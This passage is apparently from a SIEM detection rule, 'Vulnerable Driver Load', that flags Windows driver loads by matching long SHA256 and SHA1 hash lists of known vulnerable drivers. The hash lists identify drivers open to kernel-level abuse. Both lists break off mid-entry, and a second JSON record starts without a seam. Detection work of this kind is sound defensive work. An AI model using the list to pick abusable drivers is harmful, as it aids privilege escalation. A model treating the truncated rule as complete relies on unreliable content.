*SHA256\\=81939E5C12BD627FF268E9887D6FB57E95E6049F28921F3437898757E7F21469* OR *SHA256\\=9790A7B9D624B2B18768BB655DDA4A05A9929633CEF0B1521E79E40D7DE0A05B* OR *SHA256\\=9A1D66036B0868BBB1B2823209FEDEA61A301D5DD245F8E7D390BD31E52D663E* OR *SHA256\\=AA9AB1195DC866270E984F1BED5E1358D6EF24C515DFDB6C2A92D1E1B94BF608* OR *SHA256\\=AF095DE15A16255CA1B2C27DAD365DFF9AC32D2A75E8E288F5A1307680781685* OR *SHA256\\=D5586DC1E61796A9AE5E5D1CED397874753056C3DF2EB963A8916287E1929A71* OR *SHA256\\=D8459F7D707C635E2C04D6D6D47B63F73BA3F6629702C7A6E0DF0462F6478AE2* OR *SHA256\\=E81230217988F3E7EC6F89A06D231EC66039BDBA340FD8EBB2BBB586506E3293* OR *SHA256\\=F88EBB633406A086D9CCA6BC8B66A4EA940C5476529F9033A9E0463512A23A57* OR *SHA256\\=1C8DFA14888BB58848B4792FB1D8A921976A9463BE8334CFF45CC96F1276049A* OR *SHA256\\=22418016E980E0A4A2D01CA210A17059916A4208352C1018B0079CCB19AAF86A* OR *SHA256\\=405472A8F9400A54BB29D03B436CCD58CFD6442FE686F6D2ED4F63F002854659* OR *SHA256\\=49F75746EEBE14E5DB11706B3E58ACCC62D4034D2F1C05C681ECEF5D1AD933BA* OR *SHA256\\=4A3D4DB86F580B1680D6454BAEE1C1A139E2DDE7D55E972BA7C92EC3F555DCE2* OR *SHA256\\=4AB41816ABBF14D59E75B7FAD49E2CB1C1FEB27A3CB27402297A2A4793FF9DA7* OR *SHA256\\=54841D9F89E195196E65AA881834804FE3678F1CF6B328CAB8703EDD15E3EC57* OR *SHA256\\=5EE292B605CD3751A24E5949AAE615D472A3C72688632C3040DC311055B75A92* OR *SHA256\\=76B86543CE05540048F954FED37BDDA66360C4A3DDB8328213D5AEF7A960C184* OR *SHA256\\=7F190F6E5AB0EDAFD63391506C2360230AF4C2D56C45FC8996A168A1FC12D457* OR *SHA256\\=845F1E228DE249FC1DDF8DC28C39D03E8AD328A6277B6502D3932E83B879A65A* OR *SHA256\\=84BF1D0BCDF175CFE8AEA2973E0373015793D43907410AE97E2071B2C4B8E2D4* OR *SHA256\\=8EF0AD86500094E8FA3D9E7D53163AA6FEEF67C09575C169873C494ED66F057F* OR *SHA256\\=A56C2A2425EB3A4260CC7FC5C8D7BED7A3B4CD2AF256185F24471C668853AEE8* OR *SHA256\\=AC3F613D457FC4D44FA27B2E0B1BAA62C09415705EFB5A40A4756DA39B3AC165* OR *SHA256\\=B1334A71CC73B3D0C54F62D8011BEC330DFC355A239BF94A121F6E4C86A30A2E* OR *SHA256\\=B47BE212352D407D0EF7458A7161C66B47C2AEC8391DD101DF11E65728337A6A* OR *SHA256\\=B9B3878DDC5DFB237D38F8D25067267870AFD67D12A330397A8853209C4D889C* OR *SHA256\\=DB90E554AD249C2BD888282ECF7D8DA4D1538DD364129A3327B54F8242DD5653* OR *SHA256\\=E61A54F6D3869B43C4ECEAC3016DF73DF67CCE03878C5A6167166601C5D3F028* OR *SHA256\\=3871E16758A1778907667F78589359734F7F62F9DC953EC558946DCDBE6951E3* OR *SHA256\\=DED2927F9A4E64EEFD09D0CABA78E94F309E3A6292841AE81D5528CAB109F95D* OR *SHA256\\=0296E2CE999E67C76352613A718E11516FE1B0EFC3FFDB8918FC999DD76A73A5* OR *SHA256\\=80CBBA9F404DF3E642F22C476664D63D7C229D45D34F5CD0E19C65EB41BECEC3* OR *SHA256\\=BB50818A07B0EB1BD317467139B7EB4BAD6CD89053FECDABFEAE111689825955* OR *SHA256\\=FF6729518A380BF57F1BC6F1EC0AA7F3012E1618B8D9B0F31A61D299EE2B4339* OR *SHA256\\=3A5EC83FE670E5E23AEF3AFA0A7241053F5B6BE5E6CA01766D6B5F9177183C25* OR *SHA256\\=61A1BDDDD3C512E681818DEBB5BEE94DB701768FC25E674FCAD46592A3259BD0* OR *SHA256\\=07B6D69BAFCFD767F1B63A490A8843C3BB1F8E1BBEA56176109B5743C8F7D357* OR *SHA256\\=21CCDD306B5183C00ECFD0475B3152E7D94B921E858E59B68A03E925D1715F21* OR *SHA256\\=2D83CCB1AD9839C9F5B3F10B1F856177DF1594C66CBBC7661677D4B462EBF44D* OR *SHA256\\=F581DECC2888EF27EE1EA85EA23BBB5FB2FE6A554266FF5A1476ACD1D29D53AF* OR *SHA256\\=F8965FDCE668692C3785AFA3559159F9A18287BC0D53ABB21902895A8ECF221B* OR *SHA256\\=3D23BDBAF9905259D858DF5BF991EB23D2DC9F4ECDA7F9F77839691ACEF1B8C4* OR *SHA256\\=DD4A1253D47DE14EF83F1BC8B40816A86CCF90D1E624C5ADF9203AE9D51D4097* OR *SHA256\\=509628B6D16D2428031311D7BD2ADD8D5F5160E9ECC0CD909F1E82BBBB3234D6* OR *SHA256\\=525D9B51A80CA0CD4C5889A96F857E73F3A80DA1FFBAE59851E0F51BDFB0B6CD* OR *SHA256\\=6DE84CAA2CA18673E01B91AF58220C60AECD5CCCF269725EC3C7F226B2167492* OR *SHA256\\=09BEDBF7A41E0F8DABE4F41D331DB58373CE15B2E9204540873A1884F38BDDE1* OR *SHA256\\=101402D4F5D1AE413DED499C78A5FCBBC7E3BAE9B000D64C1DD64E3C48C37558* OR *SHA256\\=131D5490CEB9A5B2324D8E927FEA5BECFC633015661DE2F4C2F2375A3A3B64C6* OR *SHA256\\=1DDFE4756F5DB9FB319D6C6DA9C41C588A729D9E7817190B027B38E9C076D219* OR *SHA256\\=1E8B0C1966E566A523D652E00F7727D8B0663F1DFDCE3B9A09B9ADFAEF48D8EE* OR *SHA256\\=2BBE65CBEC3BB069E92233924F7EE1F95FFA16173FCEB932C34F68D862781250* OR *SHA256\\=30706F110725199E338E9CC1C940D9A644D19A14F0EB8847712CBA4CACDA67AB* OR *SHA256\\=3124B0411B8077605DB2A9B7909D8240E0D554496600E2706E531C93C931E1B5* OR *SHA256\\=38FA0C663C8689048726666F1C5E019FEAA9DA8278F1DF6FF62DA33961891D2A* OR *SHA256\\=39CFDE7D401EFCE4F550E0A9461F5FC4D71FA07235E1336E4F0B4882BD76550E* OR *SHA256\\=3D9E83B189FCF5C3541C62D1F54A0DA0A4E5B62C3243D2989AFC46644056C8E3* OR *SHA256\\=3F2FDA9A7A9C57B7138687BBCE49A2E156D6095DDDABB3454EA09737E02C3FA5* OR *SHA256\\=47F0CDAA2359A63AD1389EF4A635F1F6EEE1F63BDF6EF177F114BDCDADC2E005* OR *SHA256\\=50D5EAA168C077CE5B7F15B3F2C43BD2B86B07B1E926C1B332F8CB13BD2E0793* OR *SHA256\\=56A3C9AC137D862A85B4004F043D46542A1B61C6ACB438098A9640469E2D80E7* OR *SHA256\\=591BD5E92DFA0117B3DAA29750E73E2DB25BAA717C31217539D30FFB1F7F3A52* OR *SHA256\\=5D530E111400785D183057113D70623E17AF32931668AB7C7FC826F0FD4F91A3* OR *SHA256\\=6F1FF29E2E710F6D064DC74E8E011331D807C32CC2A622CBE507FD4B4D43F8F4* OR *SHA256\\=79E2D37632C417138970B4FEBA91B7E10C2EA251C5EFE3D1FC6FA0190F176B57* OR *SHA256\\=85866E8C25D82C1EC91D7A8076C7D073CCCF421CF57D9C83D80D63943A4EDD94* OR *SHA256\\=89B0017BC30CC026E32B758C66A1AF88BD54C6A78E11EC2908FF854E00AC46BE* OR *SHA256\\=9254F012009D55F555418FF85F7D93B184AB7CB0E37AECDFDAB62CFE94DEA96B* OR *SHA256\\=984A77E5424C6D099051441005F2938AE92B31B5AD8F6521C6B001932862ADD7* OR *SHA256\\=98B734DDA78C16EBCAA4AFEB31007926542B63B2F163B2F733FA0D00DBB344D8* OR *SHA256\\=99F4994A0E5BD1BF6E3F637D3225C69FF4CD620557E23637533E7F18D7D6CBA1* OR *SHA256\\=9C10E2EC4F9EF591415F9A784B93DC9C9CDAFA7C69602C0DC860C5B62222E449* OR *SHA256\\=A961F5939088238D76757669A9A81905E33F247C9C635B908DAAC146AE063499* OR *SHA256\\=A9706E320179993DADE519A83061477ACE195DAA1B788662825484813001F526* OR *SHA256\\=B7A20B5F15E1871B392782C46EBCC897929443D82073EE4DCB3874B6A5976B5D* OR *SHA256\\=CC586254E9E89E88334ADEE44E332166119307E79C2F18F6C2AB90CE8BA7FC9B* OR *SHA256\\=CD4A249C3EF65AF285D0F8F30A8A96E83688486AAB515836318A2559757A89BB* OR *SHA256\\=CF4B5FA853CE809F1924DF3A3AE3C4E191878C4EA5248D8785DC7E51807A512B* OR *SHA256\\=D0BD1AE72AEB5F3EABF1531A635F990E5EAAE7FDD560342F915F723766C80889* OR *SHA256\\=D8B58F6A89A7618558E37AFC360CD772B6731E3BA367F8D58734ECEE2244A530* OR *SHA256\\=D92EAB70BCECE4432258C9C9A914483A2267F6AB5CE2630048D3A99E8CB1B482* OR *SHA256\\=E005E8D183E853A27AD3BB56F25489F369C11B0D47E3D4095AAD9291B3343BF1* OR *SHA256\\=E68D453D333854787F8470C8BAEF3E0D082F26DF5AA19C0493898BCF3401E39A* OR *SHA256\\=E83908EBA2501A00EF9E74E7D1C8B4FF1279F1CD6051707FD51824F87E4378FA* OR *SHA256\\=EF86C4E5EE1DBC4F81CD864E8CD2F4A2A85EE4475B9A9AB698A4AE1CC71FBEB0* OR *SHA256\\=F088B2BA27DACD5C28F8EE428F1350DCA4BC7C6606309C287C801B2E1DA1A53D* OR *SHA256\\=FD8669794C67B396C12FC5F08E9C004FDF851A82FAF302846878173E4FBECB03* OR *SHA256\\=91314768DA140999E682D2A290D48B78BB25A35525EA12C1B1F9634D14602B2C* OR *SHA256\\=F0605DDA1DEF240DC7E14EFA73927D6C6D89988C01EA8647B671667B2B167008* OR *SHA256\\=6CB51AE871FBD5D07C5AAD6FF8EEA43D34063089528603CA9CEB8B4F52F68DDC* OR *SHA256\\=DB2A9247177E8CDD50FE9433D066B86FFD2A84301AA6B2EB60F361CFFF077004* OR *SHA256\\=7EC93F34EB323823EB199FBF8D06219086D517D0E8F4B9E348D7AFD41EC9FD5D* OR *SHA256\\=7049F3C939EFE76A5556C2A2C04386DB51DAF61D56B679F4868BB0983C996EBB* OR *SHA256\\=7877C1B0E7429453B750218CA491C2825DAE684AD9616642EFF7B41715C70ACA* OR *SHA256\\=159E7C5A12157AF92E0D14A0D3EA116F91C09E21A9831486E6DC592C93C10980* OR *SHA256\\=3243AAB18E273A9B9C4280A57AECEF278E10BFFF19ABB260D7A7820E41739099* OR *SHA256\\=7CFA5E10DFF8A99A5D544B011F676BC383991274C693E21E3AF40CF6982ADB8C* OR *SHA256\\=C9B49B52B493B53CD49C12C3FA9553E57C5394555B64E32D1208F5B96A5B8C6E* OR *SHA256\\=3EC5AD51E6879464DFBCCB9F4ED76C6325056A42548D5994BA869DA9C4C039A8* OR *SHA256\\=47EAEBC920CCF99E09FC9924FEB6B19B8A28589F52783327067C9B09754B5E84* OR *SHA256\\=1aaf4c1e3cb6774857e2eef27c17e68dc1ae577112e4769665f516c2e8c4e27b* OR *SHA256\\=e6056443537d4d2314dabca1b9168f1eaaf17a14eb41f6f5741b6b82b3119790* OR *SHA256\\=76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22* OR *SHA256\\=6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44* OR *SHA256\\=2e6b339597a89e875f175023ed952aaac64e9d20d457bbc07acf1586e7fe2df8* OR *SHA256\\=71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009* OR *SHA256\\=39937d239220c1b779d7d55613de2c0a48bd6e12e0214da4c65992b96cf591df* OR *SHA256\\=7ed26a593524a2a92ffcfb075a42bb4fa4775ffbf83af98525244a4710886ead* OR *SHA256\\=aa717e9ab4d614497df19f602d289a6eddcdba8027c71bcc807780a219347d16* OR *SHA256\\=ff5f6048a3d6f6738b60e911e3876fcbdc9a02ec9862f909345c8a50fd4cc0a7* OR *SHA256\\=11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5* OR *SHA256\\=58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495* OR *SHA256\\=01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd* OR *SHA256\\=22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c* OR *SHA256\\=31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427* OR *SHA256\\=952199C28332BC90CFD74530A77EE237967ED32B3C71322559C59F7A42187DC4* OR *SHA256\\=9529EFB1837B1005E5E8F477773752078E0A46500C748BC30C9B5084D04082E6* OR *SHA256\\=A7B000ABBCC344444A9B00CFADE7AA22AB92CE0CADEC196C30EB1851AE4FA062* OR *SHA256\\=4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b* OR *SHA256\\=01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece* OR *SHA256\\=9fc29480407e5179aa8ea41682409b4ea33f1a42026277613d6484e5419de374* OR *SHA256\\=06bda5a1594f7121acd2efe38ccb617fbc078bb9a70b665a5f5efd70e3013f50* OR *SHA256\\=cbb8239a765bf5b2c1b6a5c8832d2cab8fef5deacadfb65d8ed43ef56d291ab6* OR *SHA256\\=d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e* OR *SHA256\\=a7c2e7910942dd5e43e2f4eb159bcd2b4e71366e34a68109548b9fb12ac0f7cc* OR *SHA256\\=2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d* OR *SHA256\\=f929bead59e9424ab90427b379dcdd63fbfe0c4fb5e1792e3a1685541cd5ec65* OR *SHA256\\=59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347* OR *SHA256\\=552f70374715e70c4ade591d65177be2539ec60f751223680dfaccb9e0be0ed9* OR *SHA256\\=86a8e0aa29a5b52c84921188cc1f0eca9a7904dcfe09544602933d8377720219* OR *SHA256\\=1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8* OR *SHA256\\=60c6f4f34c7319cb3f9ca682e59d92711a05a2688badbae4891b1303cd384813* OR *SHA256\\=55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a* OR *SHA256\\=42f0b036687cbd7717c9efed6991c00d4e3e7b032dc965a2556c02177dfdad0f* OR *SHA256\\=bb1135b51acca8348d285dc5461d10e8f57260e7d0c8cc4a092734d53fc40cbc* OR *SHA256\\=b179e1ab6dc0b1aee783adbcad4ad6bb75a8a64cb798f30c0dd2ee8aaf43e6de* OR *SHA256\\=314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073* OR *SHA256\\=65db1b259e305a52042e07e111f4fa4af16542c8bacd33655f753ef642228890* OR *SHA256\\=19a212e6fc324f4cb9ee5eba60f5c1fc0191799a4432265cbeaa3307c76a7fc0* OR *SHA256\\=a7c8f4faf3cbb088cac7753d81f8ec4c38ccb97cd9da817741f49272e8d01200* OR *SHA256\\=677c0b1add3990fad51f492553d3533115c50a242a919437ccb145943011d2bf* OR *SHA256\\=fc22977ff721b3d718b71c42440ee2d8a144f3fbc7755e4331ddd5bcc65158d2* OR *SHA256\\=ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173* OR *SHA256\\=18e1707b319c279c7e0204074088cc39286007a1cf6cb6e269d5067d8d0628c6* OR *SHA256\\=c9cf1d627078f63a36bbde364cd0d5f2be1714124d186c06db5bcdf549a109f8* OR *SHA256\\=afdd66562dea51001c3a9de300f91fc3eb965d6848dfce92ccb9b75853e02508* OR *SHA256\\=a899b659b08fbae30b182443be8ffb6a6471c1d0497b52293061754886a937a3* OR *SHA256\\=1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52* OR *SHA256\\=7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129* OR *SHA256\\=32e1a8513eee746d17eb5402fb9d8ff9507fb6e1238e7ff06f7a5c50ff3df993* OR *SHA256\\=082c39fe2e3217004206535e271ebd45c11eb072efde4cc9885b25ba5c39f91d* OR *SHA256\\=65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd* OR *SHA256\\=f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35* OR *SHA256\\=9f1229cd8dd9092c27a01f5d56e3c0d59c2bb9f0139abf042e56f343637fda33* OR *SHA256\\=b03f26009de2e8eabfcf6152f49b02a55c5e5d0f73e01d48f5a745f93ce93a29* OR *SHA256\\=3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838* OR *SHA256\\=3c5bf92c26398695f9ced7ce647a7e9f6ddcc89eea66b45aa3607196a187431b* OR *SHA256\\=478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82* OR *SHA256\\=4ed2d2c1b00e87b926fb58b4ea43d2db35e5912975f4400aa7bd9f8c239d08b7* OR *SHA256\\=b205835b818d8a50903cf76936fcf8160060762725bd74a523320cfbd091c038* OR *SHA256\\=ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89* OR *SHA256\\=73327429c505d8c5fd690a8ec019ed4fd5a726b607cabe71509111c7bfe9fc7e* OR *SHA256\\=87e38e7aeaaaa96efe1a74f59fca8371de93544b7af22862eb0e574cec49c7c3* OR *SHA256\\=2270a8144dabaf159c2888519b11b61e5e13acdaa997820c09798137bded3dd6* OR *SHA256\\=43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89* OR *SHA256\\=e1980c6592e6d2d92c1a65acad8f1071b6a404097bb6fcce494f3c8ac31385cf* OR *SHA256\\=1dadd707c55413a16320dc70d2ca7784b94c6658331a753b3424ae696c5d93ea* OR *SHA256\\=d84e3e250a86227c64a96f6d5ac2b447674ba93d399160850acb2339da43eae5* OR *SHA256\\=5ae23f1fcf3fb735fcf1fa27f27e610d9945d668a149c7b7b0c84ffd6409d99a* OR *SHA256\\=0f726d8ce21c0c9e01ebe6b55913c519ad6086bcaec1a89f8308f3effacd435f* OR *SHA256\\=95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3* OR *SHA256\\=0e14a4401011a9f4e444028ac5b1595da34bbbf9af04a00670f15ff839734003* OR *SHA256\\=26c86227d3f387897c1efd77dc711eef748eb90be84149cb306e3d4c45cc71c7* OR *SHA256\\=42d926cfb3794f9b1e3cb397498696cb687f505e15feb9df11b419c49c9af498* OR *SHA256\\=1684e24dae20ab83ab5462aa1ff6473110ec53f52a32cfb8c1fe95a2642c6d22* OR *SHA256\\=9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4* OR *SHA256\\=440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c* OR *SHA256\\=e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53* OR *SHA256\\=3a364a7a3f6c0f2f925a060e84fb18b16c118125165b5ea6c94363221dc1b6de* OR *SHA256\\=fda506e2aa85dc41a4cbc23d3ecc71ab34e06f1def736e58862dc449acbc2330* OR *SHA256\\=3ac5e01689a3d745e60925bc7faca8d4306ae693e803b5e19c94906dc30add46* OR *SHA256\\=175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347* OR *SHA256\\=8596ea3952d84eeef8f5dc5b0b83014feb101ec295b2d80910f21508a95aa026* OR *SHA256\\=52a90fd1546c068b92add52c29fbb8a87d472a57e609146bbcb34862f9dcec15* OR *SHA256\\=543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91* OR *SHA256\\=e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf* OR *SHA256\\=1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c* OR *SHA256\\=cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64* OR *SHA256\\=3ed15a390d8dfbd8a8fb99e8367e19bfd1cced0e629dfe43ccdb46c863394b59* OR *SHA256\\=8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6* OR *SHA256\\=eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b* OR *SHA256\\=37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9* OR *SHA256\\=32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351* OR *SHA256\\=c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5* OR *SHA256\\=ff803017d1acafde6149fe7d463aee23b1c4f6f3b97c698c05f3ca6f07e4df6c* OR *SHA256\\=000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b* OR *SHA256\\=0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05* OR *SHA256\\=a130
{"description": "Detects the load of known vulnerable drivers by hash value", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c6c2be4e-ac3e-650c-d72c-55d8b87e5aa9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable Driver Load", "query": "(winlog.event_data.Hashes:(*SHA1\\=2261198385d62d2117f50f631652eded0ecc71db* OR *SHA1\\=8db869c0674221a2d3280143cbb0807fac08e0cc* OR *SHA1\\=27d3ebea7655a72e6e8b95053753a25db944ec0f* OR *SHA1\\=33cdab3bbc8b3adce4067a1b042778607dce2acd* OR *SHA1\\=21e6c104fe9731c874fab5c9560c929b2857b918* OR *SHA1\\=d979353d04bf65cc92ad3412605bc81edbb75ec2* OR *SHA1\\=2f991435a6f58e25c103a657d24ed892b99690b8* OR *SHA1\\=f02af84393e9627ba808d4159841854a6601cf80* OR *SHA1\\=bb962c9a8dda93e94fef504c4159de881e4706fe* OR *SHA1\\=b97a8d506be2e7eaa4385f70c009b22adbd071ba* OR *SHA1\\=92f251358b3fe86fd5e7aa9b17330afa0d64a705* OR *SHA1\\=8b6aa5b2bff44766ef7afbe095966a71bc4183fa* OR *SHA1\\=af6e1f2cfb230907476e8b2d676129b6d6657124* OR *SHA1\\=fcde5275ee1913509927ce5f0f85e6681064c9d2* OR *SHA1\\=00a442a4305c62cefa8105c0b4c4a9a5f4d1e93b* OR *SHA1\\=6523b3fd87de39eb5db1332e4523ce99556077dc* OR *SHA1\\=72966ca845759d239d09da0de7eebe3abe86fee3* OR *SHA1\\=57511ef5ff8162a9d793071b5bf7ebe8371759de* OR *SHA1\\=2d503a2457a787014a1fdd48a2ece2e6cbe98ea7* OR *SHA1\\=400f833dcc2ef0a122dd0e0b1ec4ec929340d90e* OR *SHA1\\=89cd760e8cb19d29ee08c430fb17a5fd4455c741* OR *SHA1\\=1d0df45ee3fa758f0470e055915004e6eae54c95* OR *SHA1\\=d5fd9fe10405c4f90235e583526164cd0902ed86* OR *SHA1\\=c52cef5b9e1d4a78431b7af56a6fdb6aa1bcad65* OR *SHA1\\=609fa1efcf61e26d64a5ceb13b044175ab2b3a13* OR *SHA1\\=7d7c03e22049a725ace2a9812c72b53a66c2548b* OR *SHA1\\=f9519d033d75e1ab6b82b2e156eafe9607edbcfb* OR *SHA1\\=468e2e5505a3d924b14fedee4ddf240d09393776* OR *SHA1\\=2e3de9bff43d7712707ef8a0b10f7e4ad8427fd8* OR *SHA1\\=c9cbfdd0be7b35751a017ec59ff7237ffdc4df1f* OR *SHA1\\=078ae07dec258db4376d5a2a05b9b508d68c0123* OR *SHA1\\=623cd2abef6c92255f79cbbd3309cb59176771da* OR *SHA1\\=1f3a9265963b660392c4053329eb9436deeed339* OR *SHA1\\=4a235f0b84ff615e2879fa9e0ec0d745fcfdaa5c* OR *SHA1\\=ace6b9e34e3e2e73fe584f3bbdb4e4ec106e0a7d* OR *SHA1\\=4268f30b79ce125a81d0d588bef0d4e2ad409bbb* OR *SHA1\\=c834c4931b074665d56ccab437dfcc326649d612* OR *SHA1\\=8f5cd4a56e6e15935491aa40adb1ecad61eafe7c* OR *SHA1\\=51b60eaa228458dee605430aae1bc26f3fc62325* OR *SHA1\\=3270720a066492b046d7180ca6e60602c764cac7* OR *SHA1\\=2a6e6bd51c7062ad24c02a4d2c1b5e948908d131* OR *SHA1\\=19bd488fe54b011f387e8c5d202a70019a204adf* OR *SHA1\\=a6fe4f30ca7cb94d74bc6d42cdd09a136056952e* OR *SHA1\\=ea877092d57373cb466b44e7dbcad4ce9a547344* OR *SHA1\\=205c69f078a563f54f4c0da2d02a25e284370251* OR *SHA1\\=f9feb60b23ca69072ce42264cd821fe588a186a6* OR *SHA1\\=b25170e09c9fb7c0599bfba3cf617187f6a733ac* OR *SHA1\\=160c96b5e5db8c96b821895582b501e3c2d5d6e7* OR *SHA1\\=a2e0b3162cfa336cd4ab40a2acc95abe7dc53843* OR *SHA1\\=4e826430a1389032f3fe06e2cc292f643fb0c417* OR *SHA1\\=7ab4565ba24268f0adadb03a5506d4eb1dc7c181* OR *SHA1\\=dc7b022f8bd149efbcb2204a48dce75c72633526* OR *SHA1\\=0307d76750dd98d707c699aee3b626643afb6936* OR *SHA1\\=5711c88e9e64e45b8fc4b90ab6f2dd6437dc5a8a* OR *SHA1\\=6714380bc0b8ab09b9a0d2fa66d1b025b646b946* OR *SHA1\\=8626ab1da6bfbdf61bd327eb944b39fd9df33d1d* OR *SHA1\\=30a224b22592d952fbe2e6ad97eda4a8f2c734e0* OR *SHA1\\=c95db1e82619fb16f8eec9a8209b7b0e853a4ebe* OR *SHA1\\=fe1d909ab38de1389a2a48352fd1c8415fd2eab0* OR *SHA1\\=b4d1554ec19504215d27de0758e13c35ddd6db3e* OR *SHA1\\=5dd2c31c4357a8b76db095364952b3d0e3935e1d* OR *SHA1\\=ecb4d096a9c58643b02f328d2c7742a38e017cf0* OR *SHA1\\=4a705af959af61bad48ef7579f839cb5ebd654d2* OR *SHA1\\=d2e6fc9259420f0c9b6b1769be3b1f63eb36dc57* OR *SHA1\\=c948ae14761095e4d76b55d9de86412258be7afd* OR *SHA1\\=ddbe809b731a0962e404a045ab9e65a0b64917ad* OR *SHA1\\=745bad097052134548fe159f158c04be5616afc2* OR *SHA1\\=8d59fd14a445c8f3f0f7991fa6cd717d466b3754* OR *SHA1\\=2dfcb799b3c42ecb0472e27c19b24ac7532775ce* OR *SHA1\\=cc51be79ae56bc97211f6b73cc905c3492da8f9d* OR *SHA1\\=ac13941f436139b909d105ad55637e1308f49d9a* OR *SHA1\\=2b0bb408ff0e66bcdf6574f1ca52cbf4015b257b* OR *SHA1\\=cc0e0440adc058615e31e8a52372abadf658e6b1* OR *SHA1\\=5520ac25d81550a255dc16a0bb89d4b275f6f809* OR *SHA1\\=6afc6b04cf73dd461e4a4956365f25c1f1162387* OR *SHA1\\=4b009e91bae8d27b160dc195f10c095f8a2441e1* OR *SHA1\\=6003184788cd3d2fc624ca801df291ccc4e225ee* OR *SHA1\\=0466e90bf0e83b776ca8716e01d35a8a2e5f96d3* OR *SHA1\\=e6305dddd06490d7f87e3b06d09e9d4c1c643af0* OR *SHA1\\=89909fa481ff67d7449ee90d24c167b17b0612f1* OR *SHA1\\=d7e8aef8c8feb87ce722c0b9abf34a7e6bab6eb4* OR *SHA1\\=5e6ddd2b39a3de0016385cbd7aa50e49451e376d* OR *SHA1\\=976777d39d73034df6b113dfce1aa6e1d00ffcfd* OR *SHA1\\=9c6749fc6c1127f8788bff70e0ce9062959637c9* OR *SHA1\\=53acd4d9e7ba0b1056cf52af0d191f226eddf312* OR *SHA1\\=3abb9d0a9d600200ae19c706e570465ef0a15643* OR *SHA1\\=27eab595ec403580236e04101172247c4f5d5426* OR *SHA1\\=78b9481607ca6f3a80b4515c432ddfe6550b18a8* OR *SHA1\\=414cd15d6c991d19fb5be02e3b9fb0e6c5ce731c* OR *SHA1\\=d9c09dd725bc7bc3c19b4db37866015817a516ef* OR *SHA1\\=9c256edd10823ca76c0443a330e523027b70522d* OR *SHA1\\=35829e096a15e559fcbabf3441d99e580ca3b26e* OR *SHA1\\=b8de3a1aeeda9deea43e3f768071125851c85bd0* OR *SHA1\\=054a50293c7b4eea064c91ef59cf120d8100f237* OR *SHA1\\=d94f2fb3198e14bfe69b44fb9f00f2551f7248b2* OR *SHA1\\=01a578a3a39697c4de8e3dab04dba55a4c35163e* OR *SHA1\\=14bf0eaa90e012169745b3e30c281a327751e316* OR *SHA1\\=f50c6b84dfb8f2d53ba3bce000a55f0a486c0e79* OR *SHA1\\=6100eb82a25d64a7a7702e94c2b21333bc15bd08* OR *SHA1\\=bf87e32a651bdfd9b9244a8cf24fca0e459eb614* OR *SHA1\\=28b1c0b91eb6afd2d26b239c9f93beb053867a1a* OR *SHA1\\=879fcc6795cebe67718388228e715c470de87dca* OR *SHA1\\=1f7501e01d84a2297c85cb39880ec4e40ac3fe8a* OR *SHA1\\=152b6bb9ffd2ffec00cc46f5c6e29362d0e66e67* OR *SHA1\\=5f8356ffa8201f338dd2ea979eb47881a6db9f03* OR *SHA1\\=a7bd05de737f8ea57857f1e0845a25677df01872* OR *SHA1\\=cce9b82f01ec68f450f5fe4312f40d929c6a506e* OR *SHA1\\=e35a2b009d54e1a0b231d8a276251f64231b66a3* OR *SHA1\\=37364cb5f5cefd68e5eca56f95c0ab4aff43afcc* OR 